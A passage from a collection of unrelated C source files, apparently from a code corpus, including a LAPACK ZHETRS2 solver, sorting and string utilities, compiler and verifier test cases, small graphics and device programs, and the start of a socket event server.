/* > \verbatim */ /* > A is COMPLEX*16 array, dimension (LDA,N) */ /* > The block diagonal matrix D and the multipliers used to */ /* > obtain the factor U or L as computed by ZHETRF. */ /* > \endverbatim */ /* > */ /* > \param[in] LDA */ /* > \verbatim */ /* > LDA is INTEGER */ /* > The leading dimension of the array A. LDA >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[in] IPIV */ /* > \verbatim */ /* > IPIV is INTEGER array, dimension (N) */ /* > Details of the interchanges and the block structure of D */ /* > as determined by ZHETRF. */ /* > \endverbatim */ /* > */ /* > \param[in,out] B */ /* > \verbatim */ /* > B is COMPLEX*16 array, dimension (LDB,NRHS) */ /* > On entry, the right hand side matrix B. */ /* > On exit, the solution matrix X. */ /* > \endverbatim */ /* > */ /* > \param[in] LDB */ /* > \verbatim */ /* > LDB is INTEGER */ /* > The leading dimension of the array B. LDB >= f2cmax(1,N). */ /* > \endverbatim */ /* > */ /* > \param[out] WORK */ /* > \verbatim */ /* > WORK is COMPLEX*16 array, dimension (N) */ /* > \endverbatim */ /* > */ /* > \param[out] INFO */ /* > \verbatim */ /* > INFO is INTEGER */ /* > = 0: successful exit */ /* > < 0: if INFO = -i, the i-th argument had an illegal value */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date June 2016 */ /* > \ingroup complex16HEcomputational */ /* ===================================================================== */ /* Subroutine */ int zhetrs2_(char *uplo, integer *n, integer *nrhs, doublecomplex *a, integer *lda, integer *ipiv, doublecomplex *b, integer *ldb, doublecomplex *work, integer *info) { /* System generated locals */ integer a_dim1, a_offset, b_dim1, b_offset, i__1, i__2; doublecomplex z__1, z__2, z__3; /* Local variables */ doublecomplex akm1k; integer i__, j, k; doublereal s; extern logical lsame_(char *, char *); doublecomplex denom; integer iinfo; logical upper; extern /* Subroutine */ int zswap_(integer *, doublecomplex *, integer *, doublecomplex *, integer *), ztrsm_(char *, char *, char *, char * , integer *, integer *, doublecomplex *, doublecomplex *, integer *, doublecomplex *, integer *); doublecomplex ak, bk; integer kp; extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen), zdscal_( integer *, doublereal *, doublecomplex *, integer *); doublecomplex akm1, bkm1; extern /* Subroutine */ int zsyconv_(char *, char *, integer *, doublecomplex *, integer *, integer *, doublecomplex *, integer *); /* -- LAPACK computational routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* June 2016 */ /* ===================================================================== */ /* Parameter adjustments */ a_dim1 = *lda; a_offset = 1 + a_dim1 * 1; a -= a_offset; --ipiv; b_dim1 = *ldb; b_offset = 1 + b_dim1 * 1; b -= b_offset; --work; /* Function Body */ *info = 0; upper = lsame_(uplo, "U"); if (! upper && ! lsame_(uplo, "L")) { *info = -1; } else if (*n < 0) { *info = -2; } else if (*nrhs < 0) { *info = -3; } else if (*lda < f2cmax(1,*n)) { *info = -5; } else if (*ldb < f2cmax(1,*n)) { *info = -8; } if (*info != 0) { i__1 = -(*info); xerbla_("ZHETRS2", &i__1, (ftnlen)7); return 0; } /* Quick return if possible */ if (*n == 0 || *nrhs == 0) { return 0; } /* Convert A */ zsyconv_(uplo, "C", n, &a[a_offset], lda, &ipiv[1], &work[1], &iinfo); if (upper) { /* Solve A*X = B, where A = U*D*U**H. */ /* P**T * B */ k = *n; while(k >= 1) { if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } --k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K-1 and -IPIV(K). */ kp = -ipiv[k]; if (kp == -ipiv[k - 1]) { zswap_(nrhs, &b[k - 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += -2; } } /* Compute (U \P**T * B) -> B [ (U \P**T * B) ] */ ztrsm_("L", "U", "N", "U", n, nrhs, &c_b1, &a[a_offset], lda, &b[ b_offset], ldb); /* Compute D \ B -> B [ D \ (U \P**T * B) ] */ i__ = *n; while(i__ >= 1) { if (ipiv[i__] > 0) { i__1 = i__ + i__ * a_dim1; s = 1. / a[i__1].r; zdscal_(nrhs, &s, &b[i__ + b_dim1], ldb); } else if (i__ > 1) { if (ipiv[i__ - 1] == ipiv[i__]) { i__1 = i__; akm1k.r = work[i__1].r, akm1k.i = work[i__1].i; z_div(&z__1, &a[i__ - 1 + (i__ - 1) * a_dim1], &akm1k); akm1.r = z__1.r, akm1.i = z__1.i; d_cnjg(&z__2, &akm1k); z_div(&z__1, &a[i__ + i__ * a_dim1], &z__2); ak.r = z__1.r, ak.i = z__1.i; z__2.r = akm1.r * ak.r - akm1.i * ak.i, z__2.i = akm1.r * ak.i + akm1.i * ak.r; z__1.r = z__2.r - 1., z__1.i = z__2.i + 0.; denom.r = z__1.r, denom.i = z__1.i; i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { z_div(&z__1, &b[i__ - 1 + j * b_dim1], &akm1k); bkm1.r = z__1.r, bkm1.i = z__1.i; d_cnjg(&z__2, &akm1k); z_div(&z__1, &b[i__ + j * b_dim1], &z__2); bk.r = z__1.r, bk.i = z__1.i; i__2 = i__ - 1 + j * b_dim1; z__3.r = ak.r * bkm1.r - ak.i * bkm1.i, z__3.i = ak.r * bkm1.i + ak.i * bkm1.r; z__2.r = z__3.r - bk.r, z__2.i = z__3.i - bk.i; z_div(&z__1, &z__2, &denom); b[i__2].r = z__1.r, b[i__2].i = z__1.i; i__2 = i__ + j * b_dim1; z__3.r = akm1.r * bk.r - akm1.i * bk.i, z__3.i = akm1.r * bk.i + akm1.i * bk.r; z__2.r = z__3.r - bkm1.r, z__2.i = z__3.i - bkm1.i; z_div(&z__1, &z__2, &denom); b[i__2].r = z__1.r, b[i__2].i = z__1.i; /* L15: */ } --i__; } } --i__; } /* Compute (U**H \ B) -> B [ U**H \ (D \ (U \P**T * B) ) ] */ ztrsm_("L", "U", "C", "U", n, nrhs, &c_b1, &a[a_offset], lda, &b[ b_offset], ldb); /* P * B [ P * (U**H \ (D \ (U \P**T * B) )) ] */ k = 1; while(k <= *n) { if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } ++k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K-1 and -IPIV(K). */ kp = -ipiv[k]; if (k < *n && kp == -ipiv[k + 1]) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += 2; } } } else { /* Solve A*X = B, where A = L*D*L**H. */ /* P**T * B */ k = 1; while(k <= *n) { if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } ++k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K and -IPIV(K+1). */ kp = -ipiv[k + 1]; if (kp == -ipiv[k]) { zswap_(nrhs, &b[k + 1 + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += 2; } } /* Compute (L \P**T * B) -> B [ (L \P**T * B) ] */ ztrsm_("L", "L", "N", "U", n, nrhs, &c_b1, &a[a_offset], lda, &b[ b_offset], ldb); /* Compute D \ B -> B [ D \ (L \P**T * B) ] */ i__ = 1; while(i__ <= *n) { if (ipiv[i__] > 0) { i__1 = i__ + i__ * a_dim1; s = 1. / a[i__1].r; zdscal_(nrhs, &s, &b[i__ + b_dim1], ldb); } else { i__1 = i__; akm1k.r = work[i__1].r, akm1k.i = work[i__1].i; d_cnjg(&z__2, &akm1k); z_div(&z__1, &a[i__ + i__ * a_dim1], &z__2); akm1.r = z__1.r, akm1.i = z__1.i; z_div(&z__1, &a[i__ + 1 + (i__ + 1) * a_dim1], &akm1k); ak.r = z__1.r, ak.i = z__1.i; z__2.r = akm1.r * ak.r - akm1.i * ak.i, z__2.i = akm1.r * ak.i + akm1.i * ak.r; z__1.r = z__2.r - 1., z__1.i = z__2.i + 0.; denom.r = z__1.r, denom.i = z__1.i; i__1 = *nrhs; for (j = 1; j <= i__1; ++j) { d_cnjg(&z__2, &akm1k); z_div(&z__1, &b[i__ + j * b_dim1], &z__2); bkm1.r = z__1.r, bkm1.i = z__1.i; z_div(&z__1, &b[i__ + 1 + j * b_dim1], &akm1k); bk.r = z__1.r, bk.i = z__1.i; i__2 = i__ + j * b_dim1; z__3.r = ak.r * bkm1.r - ak.i * bkm1.i, z__3.i = ak.r * bkm1.i + ak.i * bkm1.r; z__2.r = z__3.r - bk.r, z__2.i = z__3.i - bk.i; z_div(&z__1, &z__2, &denom); b[i__2].r = z__1.r, b[i__2].i = z__1.i; i__2 = i__ + 1 + j * b_dim1; z__3.r = akm1.r * bk.r - akm1.i * bk.i, z__3.i = akm1.r * bk.i + akm1.i * bk.r; z__2.r = z__3.r - bkm1.r, z__2.i = z__3.i - bkm1.i; z_div(&z__1, &z__2, &denom); b[i__2].r = z__1.r, b[i__2].i = z__1.i; /* L25: */ } ++i__; } ++i__; } /* Compute (L**H \ B) -> B [ L**H \ (D \ (L \P**T * B) ) ] */ ztrsm_("L", "L", "C", "U", n, nrhs, &c_b1, &a[a_offset], lda, &b[ b_offset], ldb); /* P * B [ P * (L**H \ (D \ (L \P**T * B) )) ] */ k = *n; while(k >= 1) { if (ipiv[k] > 0) { /* 1 x 1 diagonal block */ /* Interchange rows K and IPIV(K). */ kp = ipiv[k]; if (kp != k) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } --k; } else { /* 2 x 2 diagonal block */ /* Interchange rows K-1 and -IPIV(K). */ kp = -ipiv[k]; if (k > 1 && kp == -ipiv[k - 1]) { zswap_(nrhs, &b[k + b_dim1], ldb, &b[kp + b_dim1], ldb); } k += -2; } } } /* Revert A */ zsyconv_(uplo, "R", n, &a[a_offset], lda, &ipiv[1], &work[1], &iinfo); return 0; /* End of ZHETRS2 */ } /* zhetrs2_ */
the_stack_data/178265391.c
#include<stdio.h> #include<stdlib.h> #include<time.h> typedef struct what { float e; struct what *p; }what; bucket(float a[],int n) { int i,pos; what buc[10], *now; for(i=0;i<n;i++) { buc[i].e=0; buc[i].p=NULL; } for(i=0;i<n;i++) { pos=a[i]*10; float data=a[i]; what *current; if(buc[pos].e==0 && buc[pos].p==NULL) { buc[pos].e=data; continue; } if(buc[pos].e!=0 && buc[pos].p==NULL) { buc[pos].p=(what *)malloc(sizeof(what)); current=buc[pos].p; current->e=data; current->p=NULL; continue; }current=buc[pos].p; while(current->p!=NULL) { current=current->p; } current=(what *)malloc(sizeof(what)); current->e=data; current->p=NULL; } what *n1,*n2; float temp; for(i=0;i<10;i++) { n1=&buc[i]; n2=&buc[i]; while(n1!=NULL) { while(n2!=NULL) { if(n1->e > n2->e) { temp=n1->e; n1->e=n2->e; n2->e=temp; } n2=n2->p; } n2 = n1 ->p; n1=n1->p; } } float fa[20];int k=0; for(i=0;i<10;i++) { if(buc[i].e==0 && buc[i].p==0) { continue; } n1=&buc[i]; while(n1!=0) { fa[k] = n1 -> e; n1 = n1 -> p;k++; } } for(i=0;i<n;i++) { printf("%.2f ",fa[i]);} } int main() { int i,n=10; float a[10]={0.78,0.17,0.39,0.26,0.72,0.94,0.01,0.12,0.23,0.68}; clock_t end,start; srand(time(NULL)); start=clock(); bucket(a,n); end=clock(); printf("\nTime taken is %ld",end-start); }
the_stack_data/20450099.c
static const char *digits = "0123456789abcdef"; char *itoa(unsigned int i, int base) { if (base < 0 || base > 16) { return "(invalid base)"; } static char buf[11] = {0}; char *pos = &buf[10]; do { *--pos = (char)digits[i % base]; i /= base; } while (i > 0); return pos; } int atoi(char *str) { int i = 0; char c; while ((c = *str++) != '\0') { if (c >= '0' && c <= '9') { i *= 10; i += (c - 48); } } return i; }
the_stack_data/173577934.c
#include <sys/types.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <errno.h> #include <sys/wait.h> #include <sys/time.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <pthread.h> #include <unistd.h> pthread_t threadid[10]; struct node { int key; struct node *left, *right; }; struct node *newNode(int newKey) { struct node *t = (struct node *)malloc(sizeof(struct node)); t->key = newKey; t->left = NULL; t->right = NULL; return t; } void ordernode(struct node *root) { if (root != NULL) { ordernode(root->left); printf("%d \n", root->key); ordernode(root->right); } } int cntIndex=0; void reversePath(struct node *root, int *arr) { if (root != NULL) { reversePath(root->left,arr); arr[cntIndex++]=root->key; reversePath(root->right,arr); } } struct node* insert(struct node* node, int key) { if (node == NULL) return newNode(key); //agacin bos olup olmama durumunu denetliyoruz if (key <= node->key) node->left = insert(node->left, key); // her durum icin saga ve sola node eklemesi yapiyor else if (key > node->key) node->right = insert(node->right, key); return node; } struct node * leftMostNode(struct node* node) // en soldaki node'u bulmamizi sagliyor { struct node* current = node; while (current && current->left != NULL) current = current->left; return current; } struct node* deleteNode(struct node* root, int key) // node silme islemi { if (root == NULL) return root; if (key < root->key) root->left = deleteNode(root->left, key); else if (key > root->key) root->right = deleteNode(root->right, key); else { if (root->left == NULL) { struct node *t = root->right; free(root); return t; } else if (root->right == NULL) { struct node *t = root->left; free(root); return t; } struct node* t = leftMostNode(root->right); root->key = t->key; root->right = deleteNode(root->right, t->key); } return root; } struct node *root = NULL; typedef struct{ char * input; int arr[1]; //arr[0]=k }params; pthread_mutex_t lock; int counter; void* operation(void * args) { //dosyadan okuma işlemleri// params * pr= args; int num; FILE * fp; fp = fopen(pr->input, "r");// read modunda dosyayı açıyoruz while(fscanf(fp,"%d",&num) != EOF)//dosyanın sonuna kadar { pthread_mutex_lock(&lock);//yeni thread gelmemesi için işlem bitene kadar kitliyoruz if(counter < pr->arr[0]) { if(counter == 0) root = insert(root,num); else insert(root,num); counter++; } else { if(leftMostNode(root)->key < num) { struct node *min = leftMostNode(root); root = deleteNode(root,min->key); insert(root,num); } } pthread_mutex_unlock(&lock);//işlem bitince sırayı serbest bırakıyoruz ve yeni thread almasına izin veriyoruz } fclose(fp); free(pr); pthread_exit(NULL); } int main(int argc, char *argv[]) { //istenilen analizde süreyi bulmak için struct timeval startTime, endTime; long elapsedTime; int k, n; gettimeofday(&startTime, NULL); k = atoi(argv[1]); n = atoi(argv[2]); if(k<100 || k>10000){ printf("100 ile 10000 arası k değeri giriniz \n"); exit(1); } if(n<1 || n>10){ printf("1 ile 10 arası n değeri giriniz \n"); exit(1); } if (pthread_mutex_init(&lock, NULL) != 0) { //mutex oluşturuyoruz printf("mutex_init başarısız oldu\n"); return 1; } counter =0; for(int i=0;i<n;i++){ char* infile = argv[(3+i)];//1 ve 2 k ve n değerleri olduğundan 3+0 dan başlıyoruz params * pr = malloc(sizeof(*pr));//parametrelere dizinde yer açıyoruz pr->input = infile; pr->arr[0]= k; int r = pthread_create(&(threadid[i]),NULL,operation,pr);//threadleri oluşturuyoruz if(r != 0){ printf("thread oluşturulamadı\n"); exit(1); } } for(int l =0; l<n;l++) pthread_join(threadid[l],NULL);// pthread_mutex_destroy(&lock);//kodun devamında kullanılmayacağı için kapatıyoruz int * t = (int *)malloc(k*sizeof(int)); FILE * fp2; reversePath(root,t); fp2 = fopen(argv[(3+n)], "w");//verilen dosyaları write modunda açıyoruz for(int j=k-1; j>=0;j--) fprintf(fp2,"%d\n",t[j]); fclose(fp2); free(t); gettimeofday(&endTime, NULL); elapsedTime = (endTime.tv_sec - startTime.tv_sec) * 1000000 +endTime.tv_usec - startTime.tv_usec; printf("süre: %ldms\n", elapsedTime); return 0; }
the_stack_data/146314.c
/* * Simplistic program to correct SJIS inside strings. When a trail byte is a * backslash it needs to be doubled. * Public domain. */ #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[BUFSIZ]; char *p; while (fgets(buffer, BUFSIZ, stdin) != NULL) { for (p = buffer; *p != 0; p++) { if (strncmp(p, "charset=utf-8", 13) == 0) { fputs("charset=cp932", stdout); p += 12; } else if (strncmp(p, "# Original translations", 23) == 0) { fputs("# generated from ja.po, DO NOT EDIT", stdout); while (p[1] != '\n') ++p; } else if (*(unsigned char *)p == 0x81 && p[1] == '_') { putchar('\\'); ++p; } else { if (*p & 0x80) { putchar(*p++); if (*p == '\\') putchar(*p); } putchar(*p); } } } }
the_stack_data/111078662.c
#include <stdio.h> /* * In this case, we should be able to restrict k inside the loop, although the * function must be initialized with [-inf, +inf]. */ int foo(int k) { while (k < 100) { int i = 0; int j = k; while (i < j) { i = i + 1; j = j - 1; } k = k + 1; } return k; } int main(int argc, char** argv) { printf("%d\n", foo(argc)); }
the_stack_data/895240.c
#include <stdio.h> #define SHORT_INPUT "d02_short_input" #define INPUT "d02_input" void main(int argc) { FILE *fp = fopen(argc > 1 ? INPUT : SHORT_INPUT, "r"); if (fp == NULL) { printf("cant read file"); return; } int x = 0, y = 0, aim = 0; char word[16]; int move; while(fscanf(fp, "%s %i", word, &move) != EOF) { if (word[0] == 'f') { x += move; y += aim * move; } else { aim += word[0] == 'd' ? move : -move; } } printf("forward = %i; depth = %i\n", x, y); printf("resault = %i", x*y); }
the_stack_data/237642469.c
#include <stdio.h> #define CHANNEL_SIZE 256 #define NUM_COLOURS 256 * 256 * 256 #define WIDTH 4096 #define HEIGHT 4096 typedef unsigned char uchar; struct colour { uchar r, g, b; }; int julia [WIDTH][HEIGHT]; int quantise (double v) { if (v >= 1.0) v = 0.0; if (v < 0.0) v = 0.0; return (int) (v * (double) CHANNEL_SIZE); } int main () { { // Generate Julia Set ---------------------------------- const int iteration_limit = 196; const double zoom = 1.0; const double x_pos = 0.0, y_pos = 0.0; const double real = -0.7, imaginary = 0.27015; for (int x = WIDTH; x--;) { for (int y = HEIGHT; y--;) { double rp = real, ip = imaginary; int z = 0; double rn = 1.5 * (x - WIDTH / 2.0) / (0.5 * zoom * WIDTH) + x_pos; double in = (y - HEIGHT / 2.0) / (0.5 * zoom * HEIGHT) + y_pos; for(z = 0; z < iteration_limit; z++) { rp = rn, ip = in; rn = rp * rp - ip * ip + real; in = 2.0 * rp * ip + imaginary; if((rn * rn + in * in) > 4.0) break; } julia [x][y] = quantise ((double) z / (double) iteration_limit); } } } { // Output to PPM file. --------------------------------- printf("P6 %i %i 255 ", WIDTH, HEIGHT); for (int i = 0; i < NUM_COLOURS; i++) { int x = i % WIDTH, y = (i - x) / HEIGHT; int v = julia [x][y]; printf ("%c%c%c", v, v, v); } } return 0; }
the_stack_data/20451311.c
#include <math.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <limits.h> #include <stdbool.h> int main(){ unsigned long long int a[5],min,max,sum=0; scanf("%llu",&a[0]); max=a[0]; min=a[0]; sum=sum+a[0]; for(int i=1;i<5;i++) { scanf("%lld",&a[i]); sum=sum+a[i]; if(a[i]>max) max=a[i]; if(a[i]<min) min=a[i]; } printf("%lld %lld",sum-max,sum-min); return 0; }
the_stack_data/248580810.c
/* PR tree-optimization/57233 */ /* { dg-do run { target { ilp32 || lp64 } } } */ /* { dg-options "-O2" } */ /* { dg-additional-options "-fno-common" { target hppa*-*-hpux* } } */ typedef unsigned V4 __attribute__((vector_size(4 * sizeof (int)))); typedef unsigned V8 __attribute__((vector_size(8 * sizeof (int)))); typedef unsigned V16 __attribute__((vector_size(16 * sizeof (int)))); V4 a, b, g; V8 c, d, h; V16 e, f, j; __attribute__((noinline)) void f1 (void) { a = (a << 2) | (a >> 30); } __attribute__((noinline)) void f2 (void) { a = (a << 30) | (a >> 2); } __attribute__((noinline)) void f3 (void) { a = (a << b) | (a >> (32 - b)); } __attribute__((noinline, noclone)) void f4 (int x) { a = (a << x) | (a >> (32 - x)); } __attribute__((noinline)) void f5 (void) { c = (c << 2) | (c >> 30); } __attribute__((noinline)) void f6 (void) { c = (c << 30) | (c >> 2); } __attribute__((noinline)) void f7 (void) { c = (c << d) | (c >> (32 - d)); } __attribute__((noinline, noclone)) void f8 (int x) { c = (c << x) | (c >> (32 - x)); } __attribute__((noinline)) void f9 (void) { e = (e << 2) | (e >> 30); } __attribute__((noinline)) void f10 (void) { e = (e << 30) | (e >> 2); } __attribute__((noinline)) void f11 (void) { e = (e << f) | (e >> (32 - f)); } __attribute__((noinline, noclone)) void f12 (int x) { e = (e << x) | (e >> (32 - x)); } unsigned r (void) { static unsigned x = 0xdeadbeefU; static unsigned y = 0x12347654U; static unsigned z = 0x1a2b3c4dU; static unsigned w = 0x87654321U; unsigned t = x ^ (x << 11); x = y; y = z; z = w; w = w ^ (w >> 19) ^ t ^ (t >> 8); return w; } void init (unsigned int *p, int count, int mod) { int i; for (i = 0; i < count; i++) { unsigned int v = r (); if (mod) v = (v % 31) + 1; p[i] = v; } } void check (unsigned int *p, unsigned int *q, int count, unsigned int *s, int ss) { int i; for (i = 0; i < count; i++) { if (s) ss = s[i]; if (p[i] != ((q[i] << ss) | (q[i] >> (32 - ss)))) __builtin_abort (); } } int main () { init ((unsigned int *) &a, 4, 0); init ((unsigned int *) &b, 4, 1); init ((unsigned int *) &c, 8, 0); init ((unsigned int *) &d, 8, 1); init ((unsigned int *) &e, 16, 0); init ((unsigned int *) &f, 16, 1); g = a; h = c; j = e; f1 (); f5 (); f9 (); check ((unsigned int *) &a, (unsigned int *) &g, 4, 0, 2); check ((unsigned int *) &c, (unsigned int *) &h, 8, 0, 2); check ((unsigned int *) &e, (unsigned int *) &j, 16, 0, 2); g = a; h = c; j = e; f2 (); f6 (); f10 (); check ((unsigned int *) &a, (unsigned int *) &g, 4, 0, 30); check ((unsigned int *) &c, (unsigned int *) &h, 8, 0, 30); check ((unsigned int *) &e, (unsigned int *) &j, 16, 0, 30); g = a; h = c; j = e; f3 (); f7 (); f11 (); check ((unsigned int *) &a, (unsigned int *) &g, 4, (unsigned int *) &b, 0); check ((unsigned int *) &c, (unsigned int *) &h, 8, (unsigned int *) &d, 0); check ((unsigned int *) &e, (unsigned int *) &j, 16, (unsigned int *) &f, 0); g = a; h = c; j = e; f4 (5); f8 (5); f12 (5); check ((unsigned int *) &a, (unsigned int *) &g, 4, 0, 5); check ((unsigned int *) &c, (unsigned int *) &h, 8, 0, 5); check ((unsigned int *) &e, (unsigned int *) &j, 16, 0, 5); return 0; }
the_stack_data/8566.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* tesstr.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jefernan <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/07/31 00:42:15 by jefernan #+# #+# */ /* Updated: 2021/07/31 00:42:16 by jefernan ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> int t_strlen(char *str) { int a; a = 0; while (*str != '\0') { str++; a++; } return (a); } int main() { int b; b = ft_strlen("cabeçalho"); printf("O tamanho da string é: %d\n", b); return(0); }
the_stack_data/77327.c
// RUN: %sea bpf -m32 -O0 --bmc=mono --horn-bv2=true --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // RUN: %sea bpf -m32 -O3 --bmc=mono --horn-bv2=true --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // RUN: %sea bpf -m64 -O0 --bmc=mono --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s --check-prefix=OLD // RUN: %sea bpf -m64 -O3 --bmc=mono --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s --check-prefix=OLD // CHECK-L: unsat // OLD-L: sat // Based on https://github.com/MCFuzzer/MCFuzz/issues/52. // With the old bv-opsem we get sat. extern void __VERIFIER_error(void) __attribute__((noreturn)); int _br_1 = 0; char *p = "abc\n"; ; static int is_end_of_statement(void) { return *p == '\n'; } void foo(void) { while (!is_end_of_statement()) { _br_1++; p++; } } int main(void) { foo(); if (_br_1 != 3) __VERIFIER_error(); return 0; }
the_stack_data/170453384.c
#include <stdio.h> static struct sss{ char f; float snd; } sss; #define _offsetof(st,f) ((char *)&((st *) 16)->f - (char *) 16) int main (void) { printf ("+++Struct char-float:\n"); printf ("size=%d,align=%d,offset-char=%d,offset-float=%d,\nalign-char=%d,align-float=%d\n", sizeof (sss), __alignof__ (sss), _offsetof (struct sss, f), _offsetof (struct sss, snd), __alignof__ (sss.f), __alignof__ (sss.snd)); return 0; }
the_stack_data/7948956.c
#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main(int argc, char* argv[]) { if (argc > 2) { if (argc != 4) { printf("Usage: %s <LED0> <LED1> <LED2>\n", argv[0]); return -1; } int fd = open("/dev/led", O_RDWR); char buf = 0; for (int i = 0; i < 3; ++i) { buf |= (argv[i + 1][0] - 0x30) << i; } printf("Writing %d to device\n", (int)buf); write(fd, &buf, 1); close(fd); return 0; } int fd = open("/dev/led", O_RDWR); int input = 0; char buf; while (input != 8) { printf("Please input 0 to 7 to change status of 3 leds, an input of 8 or larger will be considered as exiting\n"); printf("Please input:"); scanf("%d", &input); if (input > 7) { close(fd); return 0; } buf = input; write(fd, &buf, 1); } close(fd); return 0; }
the_stack_data/50461.c
int test286(); int test286(void) { return 174; } int test286(void);
the_stack_data/220457040.c
#include <curses.h> int main() { WINDOW *p; initscr(); /* create a new pad */ p = newpad(50,100); if( p == NULL ) { addstr("Unable to create new pad"); refresh(); endwin(); return(1); } waddstr(p,"New pad created"); prefresh(p,0,0,0,0,1,15); getch(); endwin(); return 0; }
the_stack_data/159258.c
/* * Derived from: * http://www.kernel.org/pub/linux/libs/klibc/ */ /* * strcmp.c */ #include <string.h> #ifdef BFLB_IN_BENCHMARK int bflb_strcmp(const char *s1, const char *s2) #else int strcmp(const char *s1, const char *s2) #endif { const unsigned char *c1 = (const unsigned char *)s1; const unsigned char *c2 = (const unsigned char *)s2; unsigned char ch; int d = 0; while (1) { d = (int)(ch = *c1++) - (int)*c2++; if (d || !ch) break; } return d; }
the_stack_data/97661.c
/* vim: set noet sw=4 sts=4 ts=4 tw=80: */ #define _GNU_SOURCE /* for NI_MAXSERV and NI_MAXHOST */ #include <assert.h> #include <stdbool.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdarg.h> #include <errno.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netdb.h> #include <ifaddrs.h> /* for getifaddrs() and struct ifaddrs */ #include <fcntl.h> #include <unistd.h> #include <sys/select.h> #include <sys/types.h> #include <sys/stat.h> #define log_error(m, ...) fprintf(stderr, "ERROR:" m, ## __VA_ARGS__) #define log_info(m, ...) printf(m, ## __VA_ARGS__) #define log_debug(m, ...) fprintf(stderr, "DEBUG:%s():" m, __func__, ## __VA_ARGS__) // #define ROUNDUP(x, y) ((x) + (y) - ((x) % (y))) #define NET_BACKLOG 6 /* our default backlog for listen() */ typedef int SOCKET; #define SOCKET_ERROR (-1) typedef void eventcallback_t(SOCKET s, void *p); struct event_class { eventcallback_t *evread, *evwrite, *evclose, *evinit; void *(*newdata)(const struct event_class*); /* allocate event_entry.p */ void (*freedata)(void *p); const void *extra; }; struct event_entry { const struct event_class *class; SOCKET s; unsigned read_ready:1, write_ready:1; void *p; }; struct server_info { const struct event_class *clientclass; }; struct buffer { unsigned start, end; unsigned max; unsigned char data[]; }; struct client_info { enum { CLIENT_STATE_LOGIN, CLIENT_STATE_COMMAND, } state; struct buffer *outbuf, *inbuf; }; /******************************************************************************/ /* global configuration */ static int verbose = 0; /******************************************************************************/ /* network socket event API */ /* we use a flat array of entries indexed by file descriptor */ static struct event_entry *evinfo; static unsigned evinfo_max; static fd_set event_rfds, event_wfds; static SOCKET event_fdmax; static int current_entry = -1; /* track the currently "selected" entry */ static int current_fd = -1; /* track the currently "selected" entry */ /******************************************************************************/ /* set or clear the read ready state for a client */ static void read_ready(SOCKET s, int set) { if (set) FD_SET(s, &event_rfds); else FD_CLR(s, &event_rfds); } /* set or clear the write ready state for a client */ static void write_ready(SOCKET s, int set) { if (set) FD_SET(s, &event_wfds); else FD_CLR(s, &event_wfds); } static void update_fdmax(SOCKET fd) { if (event_fdmax < fd) event_fdmax = fd; } static int net_add(SOCKET s, void *p, const struct event_class *class) { struct event_entry ev = { .class = class, .s = s, .p = p, .read_ready = class->evread ? 1 : 0, .write_ready = class->evwrite ? 1 : 0, }; read_ready(s, ev.read_ready); write_ready(s, ev.write_ready); #if 1 /* assumes s is a small integer file descriptor - Unix/BSD */ /* is the slot empty? */ // TODO: bounds check if (evinfo[s].class) { log_error("event slot #%d is not empty!\n", s); return -1; } evinfo[s] = ev; update_fdmax(s); #else #error TODO: implement WinSock version #endif /* handle the init event */ struct event_entry *e = &evinfo[s]; log_info("[%d] init event!\n", e->s); if (e->class && e->class->evinit) e->class->evinit(e->s, e->p); return 0; } void net_close(SOCKET s) { // TODO: bounds check struct event_entry *e = &evinfo[s]; log_info("[%d] close event!\n", e->s); if (e->class && e->class->evclose) e->class->evclose(s, e->p); read_ready(s, 0); write_ready(s, 0); close(s); if (e->class && e->class->freedata) { e->class->freedata(e->p); e->p = NULL; } memset(e, 0, sizeof(*e)); } static int net_bind(const struct sockaddr *addr, socklen_t len, const struct event_class *class) { SOCKET s; s = socket(addr->sa_family, SOCK_STREAM, 0); if (s == SOCKET_ERROR) return -1; log_debug("[%d] socket created\n", s); int flag = 1; if (setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag))) 